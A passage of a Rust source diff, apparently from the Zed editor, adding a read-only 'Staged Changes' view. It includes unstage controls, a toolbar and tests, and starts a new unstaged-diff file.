+    actions::{GoToHunk, GoToPreviousHunk},
+};
+use git::{Commit, UnstageAll, UnstageAndNext};
+use gpui::{
+    Action, AnyElement, App, Context, Entity, EventEmitter, FocusHandle, Focusable, Render,
+    SharedString, Subscription, Task, WeakEntity,
+};
+use language::Capability;
+use project::{
+    Project, ProjectPath,
+    git_store::diff_buffer_list::{DiffBase, DiffBufferList},
+    project_settings::ProjectSettings,
+};
+use settings::Settings;
+use std::{
+    any::{Any, TypeId},
+    ops::Range,
+    sync::Arc,
+};
+use ui::{DiffStat, Divider, Icon, Tooltip, Window, prelude::*};
+use util::ResultExt as _;
+use workspace::{
+    ItemNavHistory, SerializableItem, ToolbarItemEvent, ToolbarItemLocation, ToolbarItemView,
+    Workspace,
+    item::{Item, ItemEvent, ItemHandle, SaveOptions, TabContentParams},
+    searchable::SearchableItemHandle,
+};
+
+pub(crate) struct StagedDiffDelegate;
+
+impl DiffHunkDelegate for StagedDiffDelegate {
+    fn toggle(
+        &self,
+        hunks: Vec<ResolvedDiffHunks>,
+        editor: &mut Editor,
+        window: &mut Window,
+        cx: &mut Context<Editor>,
+    ) {
+        self.stage_or_unstage(false, hunks, editor, window, cx);
+    }
+
+    fn stage_or_unstage(
+        &self,
+        stage: bool,
+        hunks: Vec<ResolvedDiffHunks>,
+        editor: &mut Editor,
+        _window: &mut Window,
+        cx: &mut Context<Editor>,
+    ) {
+        if stage {
+            return;
+        }
+        let Some(project) = editor.project().cloned() else {
+            return;
+        };
+        for hunks in hunks {
+            let index_ranges = hunks
+                .hunks
+                .into_iter()
+                .map(|hunk| hunk.buffer_range)
+                .collect::<Vec<_>>();
+            if index_ranges.is_empty() {
+                continue;
+            }
+            project
+                .update(cx, |project, cx| {
+                    project.unstage_staged_hunks(hunks.diff, index_ranges, cx)
+                })
+                .log_err();
+        }
+    }
+
+    fn render_hunk_controls(
+        &self,
+        row: u32,
+        status: &DiffHunkStatus,
+        hunk_range: Range<editor::Anchor>,
+        _is_created_file: bool,
+        line_height: Pixels,
+        editor: &Entity<Editor>,
+        _window: &mut Window,
+        cx: &mut App,
+    ) -> AnyElement {
+        if !ProjectSettings::get_global(cx)
+            .git
+            .show_stage_restore_buttons
+        {
+            return gpui::Empty.into_any_element();
+        }
+        let hunk_range = hunk_range.start..hunk_range.start;
+        h_flex()
+            .h(line_height)
+            .mr_1()
+            .gap_1()
+            .px_0p5()
+            .pb_1()
+            .border_x_1()
+            .border_b_1()
+            .border_color(cx.theme().colors().border_variant)
+            .rounded_b_lg()
+            .bg(cx.theme().colors().editor_background)
+            .block_mouse_except_scroll()
+            .shadow_md()
+            .child(
+                Button::new(("unstage", row as u64), "Unstage")
+                    .alpha(if status.is_pending() { 0.66 } else { 1.0 })
+                    .tooltip(Tooltip::text("Unstage Hunk"))
+                    .on_click({
+                        let editor = editor.clone();
+                        move |_event, window, cx| {
+                            editor.update(cx, |editor, cx| {
+                                editor.stage_or_unstage_diff_hunks(
+                                    false,
+                                    vec![hunk_range.clone()],
+                                    window,
+                                    cx,
+                                );
+                            });
+                        }
+                    }),
+            )
+            .into_any_element()
+    }
+}
+
+/// The workspace item for the staged diff. It wraps a single read-only
+/// [`DiffMultibuffer`] over [`DiffBase::Staged`] and delegates the [`Item`]
+/// surface to it.
+pub struct StagedDiff {
+    diff: Entity<DiffMultibuffer>,
+    project: Entity<Project>,
+    workspace: WeakEntity<Workspace>,
+    _diff_event_subscription: Subscription,
+}
+
+impl StagedDiff {
+    pub(crate) fn register(workspace: &mut Workspace, cx: &mut Context<Workspace>) {
+        let _ = workspace;
+        workspace::register_serializable_item::<Self>(cx);
+    }
+
+    pub fn deploy_at(
+        workspace: &mut Workspace,
+        entry: Option<GitStatusEntry>,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        telemetry::event!(
+            "Git Staged Diff Opened",
+            source = if entry.is_some() {
+                "Git Panel"
+            } else {
+                "Action"
+            }
+        );
+        let intended_repo = workspace.project().read(cx).active_repository(cx);
+        let existing = workspace.items_of_type::<Self>(cx).next();
+        let staged_diff = if let Some(existing) = existing {
+            workspace.activate_item(&existing, true, true, window, cx);
+            existing
+        } else {
+            let workspace_handle = cx.entity();
+            let staged_diff =
+                cx.new(|cx| Self::new(workspace.project().clone(), workspace_handle, window, cx));
+            workspace.add_item_to_active_pane(
+                Box::new(staged_diff.clone()),
+                None,
+                true,
+                window,
+                cx,
+            );
+            staged_diff
+        };
+
+        if let Some(intended) = &intended_repo {
+            let needs_switch = staged_diff
+                .read(cx)
+                .diff
+                .read(cx)
+                .repo(cx)
+                .map_or(true, |current| current.entity_id() != intended.entity_id());
+            if needs_switch {
+                staged_diff.update(cx, |staged_diff, cx| {
+                    staged_diff.diff.update(cx, |diff, cx| {
+                        diff.set_repo(Some(intended.clone()), cx);
+                    });
+                });
+            }
+        }
+
+        if let Some(entry) = entry {
+            staged_diff.update(cx, |staged_diff, cx| {
+                staged_diff
+                    .diff
+                    .update(cx, |diff, cx| diff.move_to_entry(entry, window, cx));
+            });
+        }
+    }
+
+    pub(crate) fn new(
+        project: Entity<Project>,
+        workspace: Entity<Workspace>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Self {
+        let branch_diff =
+            cx.new(|cx| DiffBufferList::new(DiffBase::Staged, project.clone(), window, cx));
+        let workspace_handle = workspace.downgrade();
+        let diff = cx.new(|cx| {
+            DiffMultibuffer::new(
+                branch_diff,
+                Capability::ReadOnly,
+                "No staged changes",
+                move |editor, cx| {
+                    editor.set_diff_hunk_delegate(Some(Arc::new(StagedDiffDelegate)), cx);
+                    editor.rhs_editor().update(cx, |rhs_editor, _cx| {
+                        rhs_editor.set_read_only(true);
+                        rhs_editor.register_addon(GitPanelAddon {
+                            workspace: workspace_handle,
+                        });
+                    });
+                },
+                project.clone(),
+                workspace.clone(),
+                window,
+                cx,
+            )
+        });
+        Self::from_diff(diff, project, workspace, cx)
+    }
+
+    pub(crate) fn from_diff(
+        diff: Entity<DiffMultibuffer>,
+        project: Entity<Project>,
+        workspace: Entity<Workspace>,
+        cx: &mut Context<Self>,
+    ) -> Self {
+        let diff_event_subscription = cx.subscribe(&diff, |_, _, event: &EditorEvent, cx| {
+            cx.emit(event.clone())
+        });
+
+        Self {
+            diff,
+            project,
+            workspace: workspace.downgrade(),
+            _diff_event_subscription: diff_event_subscription,
+        }
+    }
+
+    fn button_states(&self, cx: &App) -> ButtonStates {
+        let diff = self.diff.read(cx);
+        let editor = diff.editor().read(cx).rhs_editor().clone();
+        let editor = editor.read(cx);
+        let snapshot = diff.multibuffer().read(cx).snapshot(cx);
+        let prev_next = snapshot.diff_hunks().nth(1).is_some();
+        let (selection, ranges) = diff.selected_ranges(cx);
+        let unstage = editor
+            .diff_hunks_in_ranges(&ranges, &snapshot)
+            .next()
+            .is_some();
+        let mut unstage_all = false;
+        self.workspace
+            .read_with(cx, |workspace, cx| {
+                if let Some(git_panel) = workspace.panel::<GitPanel>(cx) {
+                    unstage_all = git_panel.read(cx).can_unstage_all();
+                }
+            })
+            .ok();
+
+        ButtonStates {
+            unstage,
+            prev_next,
+            selection,
+            unstage_all,
+        }
+    }
+
+    fn unstage_selected_staged_hunks(
+        &mut self,
+        move_to_next: bool,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.diff.update(cx, |diff, cx| {
+            diff.stage_or_unstage_selected_hunks(false, move_to_next, window, cx)
+        });
+    }
+}
+
+struct ButtonStates {
+    unstage: bool,
+    prev_next: bool,
+    selection: bool,
+    unstage_all: bool,
+}
+
+impl EventEmitter<EditorEvent> for StagedDiff {}
+
+impl Focusable for StagedDiff {
+    fn focus_handle(&self, cx: &App) -> FocusHandle {
+        self.diff.read(cx).focus_handle(cx)
+    }
+}
+
+impl Item for StagedDiff {
+    type Event = EditorEvent;
+
+    fn tab_icon(&self, _window: &Window, _cx: &App) -> Option<Icon> {
+        Some(Icon::new(IconName::GitBranch).color(Color::Muted))
+    }
+
+    fn to_item_events(event: &EditorEvent, f: &mut dyn FnMut(ItemEvent)) {
+        Editor::to_item_events(event, f)
+    }
+
+    fn deactivated(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        self.diff
+            .update(cx, |diff, cx| diff.deactivated(window, cx));
+    }
+
+    fn navigate(
+        &mut self,
+        data: Arc<dyn Any + Send>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> bool {
+        self.diff
+            .update(cx, |diff, cx| diff.navigate(data, window, cx))
+    }
+
+    fn tab_tooltip_text(&self, _: &App) -> Option<SharedString> {
+        Some("Staged Changes".into())
+    }
+
+    fn tab_content(&self, params: TabContentParams, _window: &Window, _cx: &App) -> AnyElement {
+        Label::new(self.tab_content_text(0, _cx))
+            .color(if params.selected {
+                Color::Default
+            } else {
+                Color::Muted
+            })
+            .into_any_element()
+    }
+
+    fn tab_content_text(&self, _detail: usize, _cx: &App) -> SharedString {
+        "Staged Changes".into()
+    }
+
+    fn telemetry_event_text(&self) -> Option<&'static str> {
+        Some("Git Staged Diff Opened")
+    }
+
+    fn as_searchable(&self, _: &Entity<Self>, cx: &App) -> Option<Box<dyn SearchableItemHandle>> {
+        Some(Box::new(self.diff.read(cx).editor().clone()))
+    }
+
+    fn for_each_project_item(
+        &self,
+        cx: &App,
+        f: &mut dyn FnMut(gpui::EntityId, &dyn project::ProjectItem),
+    ) {
+        self.diff.read(cx).for_each_project_item(cx, f);
+    }
+
+    fn set_nav_history(
+        &mut self,
+        nav_history: ItemNavHistory,
+        _: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.diff
+            .update(cx, |diff, cx| diff.set_nav_history(nav_history, cx));
+    }
+
+    fn can_split(&self) -> bool {
+        true
+    }
+
+    fn clone_on_split(
+        &self,
+        _workspace_id: Option<workspace::WorkspaceId>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Task<Option<Entity<Self>>>
+    where
+        Self: Sized,
+    {
+        let Some(workspace) = self.workspace.upgrade() else {
+            return Task::ready(None);
+        };
+        let project = self.project.clone();
+        Task::ready(Some(cx.new(|cx| Self::new(project, workspace, window, cx))))
+    }
+
+    fn is_dirty(&self, cx: &App) -> bool {
+        self.diff.read(cx).is_dirty(cx)
+    }
+
+    fn has_conflict(&self, cx: &App) -> bool {
+        self.diff.read(cx).has_conflict(cx)
+    }
+
+    fn can_save(&self, _: &App) -> bool {
+        false
+    }
+
+    fn save(
+        &mut self,
+        _: SaveOptions,
+        _: Entity<Project>,
+        _: &mut Window,
+        _: &mut Context<Self>,
+    ) -> Task<Result<()>> {
+        Task::ready(Ok(()))
+    }
+
+    fn save_as(
+        &mut self,
+        _: Entity<Project>,
+        _: ProjectPath,
+        _: &mut Window,
+        _: &mut Context<Self>,
+    ) -> Task<Result<()>> {
+        unreachable!()
+    }
+
+    fn reload(
+        &mut self,
+        project: Entity<Project>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Task<Result<()>> {
+        self.diff
+            .update(cx, |diff, cx| diff.reload(project, window, cx))
+    }
+
+    fn act_as_type<'a>(
+        &'a self,
+        type_id: TypeId,
+        self_handle: &'a Entity<Self>,
+        cx: &'a App,
+    ) -> Option<gpui::AnyEntity> {
+        if type_id == TypeId::of::<Self>() {
+            Some(self_handle.clone().into())
+        } else if type_id == TypeId::of::<DiffMultibuffer>() {
+            Some(self.diff.clone().into())
+        } else if type_id == TypeId::of::<Editor>() {
+            Some(
+                self.diff
+                    .read(cx)
+                    .editor()
+                    .read(cx)
+                    .rhs_editor()
+                    .clone()
+                    .into(),
+            )
+        } else if type_id == TypeId::of::<SplittableEditor>() {
+            Some(self.diff.read(cx).editor().clone().into())
+        } else if type_id == TypeId::of::<DiffBufferList>() {
+            Some(self.diff.read(cx).branch_diff().clone().into())
+        } else {
+            None
+        }
+    }
+
+    fn added_to_workspace(
+        &mut self,
+        workspace: &mut Workspace,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.diff.update(cx, |diff, cx| {
+            diff.added_to_workspace(workspace, window, cx)
+        });
+    }
+}
+
+impl SerializableItem for StagedDiff {
+    fn serialized_item_kind() -> &'static str {
+        "StagedDiff"
+    }
+
+    fn cleanup(
+        _: workspace::WorkspaceId,
+        _: Vec<workspace::ItemId>,
+        _: &mut Window,
+        _: &mut App,
+    ) -> Task<Result<()>> {
+        Task::ready(Ok(()))
+    }
+
+    fn deserialize(
+        project: Entity<Project>,
+        workspace: WeakEntity<Workspace>,
+        _: workspace::WorkspaceId,
+        _: workspace::ItemId,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> Task<Result<Entity<Self>>> {
+        window.spawn(cx, async move |cx| {
+            let workspace = workspace.upgrade().context("workspace gone")?;
+            cx.update(|window, cx| Ok(cx.new(|cx| Self::new(project, workspace, window, cx))))?
+        })
+    }
+
+    fn serialize(
+        &mut self,
+        _: &mut Workspace,
+        _: workspace::ItemId,
+        _: bool,
+        _: &mut Window,
+        _: &mut Context<Self>,
+    ) -> Option<Task<Result<()>>> {
+        Some(Task::ready(Ok(())))
+    }
+
+    fn should_serialize(&self, _: &Self::Event) -> bool {
+        false
+    }
+}
+
+impl Render for StagedDiff {
+    fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+        self.diff.clone()
+    }
+}
+
+pub struct StagedDiffToolbar {
+    staged_diff: Option<WeakEntity<StagedDiff>>,
+    workspace: WeakEntity<Workspace>,
+}
+
+impl StagedDiffToolbar {
+    pub fn new(workspace: &Workspace, _: &mut Context<Self>) -> Self {
+        Self {
+            staged_diff: None,
+            workspace: workspace.weak_handle(),
+        }
+    }
+
+    fn staged_diff(&self, _: &App) -> Option<Entity<StagedDiff>> {
+        self.staged_diff.as_ref()?.upgrade()
+    }
+
+    fn dispatch_action(&self, action: &dyn Action, window: &mut Window, cx: &mut Context<Self>) {
+        if let Some(staged_diff) = self.staged_diff(cx) {
+            staged_diff.focus_handle(cx).focus(window, cx);
+        }
+        let action = action.boxed_clone();
+        cx.defer(move |cx| {
+            cx.dispatch_action(action.as_ref());
+        })
+    }
+
+    fn unstage_selected_staged_hunks(
+        &mut self,
+        move_to_next: bool,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(staged_diff) = self.staged_diff(cx) else {
+            return;
+        };
+        staged_diff.update(cx, |staged_diff, cx| {
+            staged_diff.unstage_selected_staged_hunks(move_to_next, window, cx);
+        });
+    }
+
+    fn unstage_all(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        self.workspace
+            .update(cx, |workspace, cx| {
+                let Some(panel) = workspace.panel::<GitPanel>(cx) else {
+                    return;
+                };
+                panel.update(cx, |panel, cx| {
+                    panel.unstage_all(&Default::default(), window, cx);
+                });
+            })
+            .ok();
+    }
+}
+
+impl EventEmitter<ToolbarItemEvent> for StagedDiffToolbar {}
+
+impl ToolbarItemView for StagedDiffToolbar {
+    fn set_active_pane_item(
+        &mut self,
+        active_pane_item: Option<&dyn ItemHandle>,
+        _: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> ToolbarItemLocation {
+        self.staged_diff = active_pane_item
+            .and_then(|item| item.act_as::<StagedDiff>(cx))
+            .map(|entity| entity.downgrade());
+        if self.staged_diff.is_some() {
+            ToolbarItemLocation::PrimaryRight
+        } else {
+            ToolbarItemLocation::Hidden
+        }
+    }
+
+    fn pane_focus_update(
+        &mut self,
+        _pane_focused: bool,
+        _window: &mut Window,
+        _cx: &mut Context<Self>,
+    ) {
+    }
+}
+
+impl Render for StagedDiffToolbar {
+    fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        let Some(staged_diff) = self.staged_diff(cx) else {
+            return div();
+        };
+        let focus_handle = staged_diff.focus_handle(cx);
+        let button_states = staged_diff.read(cx).button_states(cx);
+
+        let diff = staged_diff.read(cx).diff.read(cx);
+        let (additions, deletions) = diff.calculate_changed_lines(cx);
+        let is_multibuffer_empty = diff.multibuffer().read(cx).is_empty();
+
+        h_flex()
+            .my_neg_1()
+            .py_1()
+            .gap_1p5()
+            .flex_wrap()
+            .justify_between()
+            .when(!is_multibuffer_empty, |this| {
+                this.child(DiffStat::new(
+                    "staged-diff-stat",
+                    additions as usize,
+                    deletions as usize,
+                ))
+                .child(Divider::vertical().ml_1())
+            })
+            // n.b. the only reason these arrows are here is because we don't
+            // support "undo" for staging so we need a way to go back.
+            .child(
+                h_group_sm()
+                    .child(
+                        IconButton::new("up", IconName::ArrowUp)
+                            .icon_size(IconSize::Small)
+                            .disabled(!button_states.prev_next)
+                            .tooltip(Tooltip::for_action_title_in(
+                                "Go to Previous Hunk",
+                                &GoToPreviousHunk,
+                                &focus_handle,
+                            ))
+                            .on_click(cx.listener(|this, _, window, cx| {
+                                this.dispatch_action(&GoToPreviousHunk, window, cx)
+                            })),
+                    )
+                    .child(
+                        IconButton::new("down", IconName::ArrowDown)
+                            .icon_size(IconSize::Small)
+                            .disabled(!button_states.prev_next)
+                            .tooltip(Tooltip::for_action_title_in(
+                                "Go to Next Hunk",
+                                &GoToHunk,
+                                &focus_handle,
+                            ))
+                            .on_click(cx.listener(|this, _, window, cx| {
+                                this.dispatch_action(&GoToHunk, window, cx)
+                            })),
+                    ),
+            )
+            .child(Divider::vertical())
+            .child(
+                h_group_sm()
+                    .when(button_states.selection, |this| {
+                        this.child(
+                            Button::new("unstage", "Unstage")
+                                .disabled(!button_states.unstage)
+                                .tooltip(Tooltip::text("Unstage Selected Hunks"))
+                                .on_click(cx.listener(|this, _, window, cx| {
+                                    this.unstage_selected_staged_hunks(false, window, cx)
+                                })),
+                        )
+                    })
+                    .when(!button_states.selection, |this| {
+                        this.child(
+                            Button::new("unstage", "Unstage")
+                                .disabled(!button_states.unstage)
+                                .tooltip(Tooltip::for_action_title_in(
+                                    "Unstage and Go to Next Hunk",
+                                    &UnstageAndNext,
+                                    &focus_handle,
+                                ))
+                                .on_click(cx.listener(|this, _, window, cx| {
+                                    this.unstage_selected_staged_hunks(true, window, cx)
+                                })),
+                        )
+                    }),
+            )
+            .child(Divider::vertical())
+            .child(
+                Button::new("unstage-all", "Unstage All")
+                    .width(rems_from_px(80.))
+                    .disabled(!button_states.unstage_all)
+                    .tooltip(Tooltip::for_action_title_in(
+                        "Unstage All Changes",
+                        &UnstageAll,
+                        &focus_handle,
+                    ))
+                    .on_click(cx.listener(|this, _, window, cx| this.unstage_all(window, cx))),
+            )
+            .child(Divider::vertical())
+            .child(
+                Button::new("commit", "Commit")
+                    .tooltip(Tooltip::for_action_title_in(
+                        "Commit",
+                        &Commit,
+                        &focus_handle,
+                    ))
+                    .on_click(cx.listener(|this, _, window, cx| {
+                        this.dispatch_action(&Commit, window, cx);
+                    })),
+            )
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use crate::project_diff::{self, ProjectDiff};
+    use git::repository::RepoPath;
+    use gpui::{Action as _, TestAppContext};
+    use language::Point;
+    use project::{FakeFs, Fs as _};
+    use serde_json::json;
+    use settings::{DiffViewStyle, SettingsStore};
+    use std::path::Path;
+    use unindent::Unindent as _;
+    use util::{path, rel_path::rel_path};
+    use workspace::MultiWorkspace;
+
+    use super::*;
+
+    fn init_test(cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            let store = SettingsStore::test(cx);
+            cx.set_global(store);
+            cx.update_global::<SettingsStore, _>(|store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.editor.diff_view_style = Some(DiffViewStyle::Unified);
+                });
+            });
+            theme_settings::init(theme::LoadThemes::JustBase, cx);
+            editor::init(cx);
+            crate::init(cx);
+        });
+    }
+
+    #[gpui::test]
+    async fn test_staged_changes_deploy_as_a_separate_staged_diff_item(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let committed_contents = r#"
+            fn main() {
+                println!("hello world");
+            }
+        "#
+        .unindent();
+        let staged_contents = r#"
+            fn main() {
+                println!("goodbye world");
+            }
+        "#
+        .unindent();
+        let file_contents = r#"
+            // print goodbye
+            fn main() {
+                println!("goodbye world");
+            }
+        "#
+        .unindent();
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+                "src": {
+                    "main.rs": file_contents.clone(),
+                }
+            }),
+        )
+        .await;
+
+        fs.set_head_for_repo(
+            Path::new(path!("/project/.git")),
+            &[("src/main.rs", committed_contents)],
+            "deadbeef",
+        );
+        fs.set_index_for_repo(
+            Path::new(path!("/project/.git")),
+            &[("src/main.rs", staged_contents.clone())],
+        );
+
+        let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project, window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+        cx.run_until_parked();
+
+        cx.focus(&workspace);
+        cx.update(|window, cx| {
+            window.dispatch_action(project_diff::Diff.boxed_clone(), cx);
+        });
+        cx.run_until_parked();
+
+        let uncommitted_item = workspace.update(cx, |workspace, cx| {
+            workspace.active_item_as::<ProjectDiff>(cx).unwrap()
+        });
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            StagedDiff::deploy_at(workspace, None, window, cx);
+        });
+        cx.run_until_parked();
+
+        workspace.update(cx, |workspace, cx| {
+            let staged_diff = workspace.active_item_as::<StagedDiff>(cx).unwrap();
+            assert_ne!(staged_diff.entity_id(), uncommitted_item.entity_id());
+            let staged_item = workspace
+                .active_item(cx)
+                .unwrap()
+                .act_as::<DiffMultibuffer>(cx)
+                .unwrap();
+            assert_ne!(staged_item.entity_id(), uncommitted_item.entity_id());
+            assert_eq!(
+                staged_item.read_with(cx, |diff, cx| diff.diff_base(cx).clone()),
+                DiffBase::Staged
+            );
+            assert!(staged_item.read_with(cx, |diff, cx| diff.multibuffer().read(cx).read_only()));
+            assert_eq!(workspace.items_of_type::<ProjectDiff>(cx).count(), 1);
+            assert_eq!(workspace.items_of_type::<StagedDiff>(cx).count(), 1);
+
+            let active_item = workspace.active_item(cx).unwrap();
+            assert!(active_item.act_as::<StagedDiff>(cx).is_some());
+            assert!(active_item.act_as::<DiffMultibuffer>(cx).is_some());
+            assert_eq!(
+                active_item
+                    .to_serializable_item_handle(cx)
+                    .unwrap()
+                    .serialized_item_kind(),
+                "StagedDiff"
+            );
+            assert_eq!(active_item.tab_content_text(0, cx), "Staged Changes");
+            assert!(!active_item.can_save(cx));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_toggle_staged_unstages_from_staged_view(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let committed_contents = r#"
+            fn main() {
+                println!("hello world");
+            }
+        "#
+        .unindent();
+        let staged_contents = r#"
+            fn main() {
+                println!("goodbye world");
+            }
+        "#
+        .unindent();
+        let file_contents = r#"
+            // print goodbye
+            fn main() {
+                println!("goodbye world");
+            }
+        "#
+        .unindent();
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+                "src": {
+                    "main.rs": file_contents,
+                }
+            }),
+        )
+        .await;
+        fs.set_head_for_repo(
+            Path::new(path!("/project/.git")),
+            &[("src/main.rs", committed_contents.clone())],
+            "deadbeef",
+        );
+        fs.set_index_for_repo(
+            Path::new(path!("/project/.git")),
+            &[("src/main.rs", staged_contents)],
+        );
+        let repo = fs
+            .open_repo(path!("/project/.git").as_ref(), Some("git".as_ref()))
+            .unwrap();
+
+        let project = Project::test(fs.clone(), [path!("/project").as_ref()], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project, window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+        cx.run_until_parked();
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            StagedDiff::deploy_at(workspace, None, window, cx);
+        });
+        cx.run_until_parked();
+
+        let editor = workspace.update(cx, |workspace, cx| {
+            let staged_diff = workspace.active_item_as::<StagedDiff>(cx).unwrap();
+            let staged_diff = staged_diff.read(cx);
+            staged_diff
+                .diff
+                .read(cx)
+                .editor()
+                .read(cx)
+                .rhs_editor()
+                .clone()
+        });
+        editor.read_with(cx, |editor, cx| {
+            let snapshot = editor.buffer().read(cx).snapshot(cx);
+            assert_eq!(
+                editor
+                    .diff_hunks_in_ranges(&[editor::Anchor::Min..editor::Anchor::Max], &snapshot)
+                    .count(),
+                1
+            );
+        });
+
+        // Hold back FS events so the first assertions observe the optimistic
+        // state rather than a reloaded diff.
+        fs.pause_events();
+
+        editor.update_in(cx, |editor, window, cx| {
+            editor.change_selections(Default::default(), window, cx, |s| {
+                s.select_ranges([Point::new(1, 0)..Point::new(1, 0)]);
+            });
+        });
+        cx.focus(&editor);
+        cx.update(|window, cx| {
+            window.dispatch_action(git::ToggleStaged.boxed_clone(), cx);
+        });
+        cx.run_until_parked();
+
+        // The hunk is optimistically suppressed from the staged view, and the
+        // index write has landed.
+        editor.read_with(cx, |editor, cx| {
+            let snapshot = editor.buffer().read(cx).snapshot(cx);
+            assert_eq!(
+                editor
+                    .diff_hunks_in_ranges(&[editor::Anchor::Min..editor::Anchor::Max], &snapshot)
+                    .count(),
+                0
+            );
+        });
+        assert_eq!(
+            repo.load_index_text(RepoPath::from_rel_path(rel_path("src/main.rs")))
+                .await
+                .unwrap(),
+            committed_contents
+        );
+
+        fs.unpause_events_and_flush();
+        cx.run_until_parked();
+
+        // Once the write is reconciled, the staged view remains empty.
+        editor.read_with(cx, |editor, cx| {
+            let snapshot = editor.buffer().read(cx).snapshot(cx);
+            assert_eq!(
+                editor
+                    .diff_hunks_in_ranges(&[editor::Anchor::Min..editor::Anchor::Max], &snapshot)
+                    .count(),
+                0
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_staged_diff_restores_as_staged_diff(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let committed_contents = r#"
+            fn main() {
+                println!("hello world");
+            }
+        "#
+        .unindent();
+        let staged_contents = r#"
+            fn main() {
+                println!("goodbye world");
+            }
+        "#
+        .unindent();
+        let file_contents = r#"
+            // print goodbye
+            fn main() {
+                println!("goodbye world");
+            }
+        "#
+        .unindent();
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+                "src": {
+                    "main.rs": file_contents,
+                }
+            }),
+        )
+        .await;
+
+        fs.set_head_for_repo(
+            Path::new(path!("/project/.git")),
+            &[("src/main.rs", committed_contents)],
+            "deadbeef",
+        );
+        fs.set_index_for_repo(
+            Path::new(path!("/project/.git")),
+            &[("src/main.rs", staged_contents)],
+        );
+
+        let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project, window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+        cx.run_until_parked();
+
+        let project = workspace.update(cx, |workspace, _| workspace.project().clone());
+        let workspace_id = workspace::WorkspaceId::from_i64(1);
+        let item_id = 42;
+
+        let restore_task = workspace.update_in(cx, |_workspace, window, cx| {
+            <StagedDiff as SerializableItem>::deserialize(
+                project.clone(),
+                cx.entity().downgrade(),
+                workspace_id,
+                item_id,
+                window,
+                cx,
+            )
+        });
+        let restored_staged_diff = restore_task.await.unwrap();
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.add_item_to_active_pane(
+                Box::new(restored_staged_diff.clone()),
+                None,
+                true,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+
+        workspace.update(cx, |workspace, cx| {
+            let active_item = workspace.active_item(cx).unwrap();
+            assert!(active_item.act_as::<StagedDiff>(cx).is_some());
+            assert!(active_item.act_as::<DiffMultibuffer>(cx).is_some());
+            assert_eq!(
+                active_item
+                    .to_serializable_item_handle(cx)
+                    .unwrap()
+                    .serialized_item_kind(),
+                "StagedDiff"
+            );
+            assert_eq!(active_item.tab_content_text(0, cx), "Staged Changes");
+            assert!(!active_item.can_save(cx));
+            assert_eq!(workspace.items_of_type::<ProjectDiff>(cx).count(), 0);
+            assert_eq!(workspace.items_of_type::<StagedDiff>(cx).count(), 1);
+            let diff = active_item.act_as::<DiffMultibuffer>(cx).unwrap();
+            assert_eq!(
+                diff.read_with(cx, |diff, cx| diff.diff_base(cx).clone()),
+                DiffBase::Staged
+            );
+        });
+    }
+}
diff --git a/crates/git_ui/src/text_diff_view.rs b/crates/git_ui/src/text_diff_view.rs
index 5312ae6d08814d..991ebf2125243e 100644
--- a/crates/git_ui/src/text_diff_view.rs
+++ b/crates/git_ui/src/text_diff_view.rs
@@ -3,8 +3,8 @@
 use anyhow::Result;
 use buffer_diff::BufferDiff;
 use editor::{
-    Editor, EditorEvent, EditorSettings, MultiBuffer, SplittableEditor, ToPoint,
-    actions::DiffClipboardWithSelectionData,
+    Editor, EditorEvent, EditorSettings, MultiBuffer, RestoreOnlyUnstagedDiffHunkDelegate,
+    SplittableEditor, ToPoint, actions::DiffClipboardWithSelectionData,
 };
 use futures::{FutureExt, select_biased};
 use gpui::{
@@ -184,11 +184,8 @@ impl TextDiffView {
                 window,
                 cx,
             );
-            splittable.disable_diff_hunk_controls(cx);
-            splittable.set_render_diff_hunks_as_unstaged(cx);
-            splittable.rhs_editor().update(cx, |editor, _cx| {
-                editor.start_temporary_diff_override();
-            });
+            splittable
+                .set_diff_hunk_delegate(Some(Arc::new(RestoreOnlyUnstagedDiffHunkDelegate)), cx);
             splittable
         });
 
diff --git a/crates/git_ui/src/unstaged_diff.rs b/crates/git_ui/src/unstaged_diff.rs
new file mode 100644
index 00000000000000..44f700c722a7ff
--- /dev/null
+++ b/crates/git_ui/src/unstaged_diff.rs
@@ -0,0 +1,722 @@
+use crate::{
